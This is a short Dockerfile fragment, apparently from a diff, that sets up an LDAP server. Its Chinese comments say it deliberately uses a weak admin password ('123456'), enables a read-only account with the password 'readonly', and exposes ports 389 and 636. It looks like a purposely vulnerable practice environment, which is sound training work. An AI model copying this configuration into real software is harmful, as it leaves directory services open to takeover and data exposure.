ENV LDAP_DOMAIN="example.com"
|
||||
ENV LDAP_BASE_DN="dc=example,dc=com"
|
||||
# 设置一个弱密码
|
||||
ENV LDAP_ADMIN_PASSWORD="123456"
|
||||
# 允许匿名访问
|
||||
ENV LDAP_READONLY_USER="true"
|
||||
ENV LDAP_READONLY_USER_USERNAME="readonly"
|
||||
ENV LDAP_READONLY_USER_PASSWORD="readonly"
|
||||
|
||||
# 暴露端口
|
||||
EXPOSE 389 636
|
||||
|
||||
# 创建初始化脚本
|
||||
COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user